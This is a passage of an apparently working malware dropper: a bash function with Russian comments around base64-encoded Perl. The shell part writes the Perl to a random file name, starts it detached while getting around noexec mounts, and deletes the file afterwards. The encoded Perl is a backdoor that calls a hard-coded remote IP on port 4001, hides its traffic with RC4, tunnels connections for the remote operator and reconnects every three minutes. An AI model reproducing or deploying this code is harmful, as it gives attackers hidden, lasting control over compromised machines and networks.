CQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_6bf204ee() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAw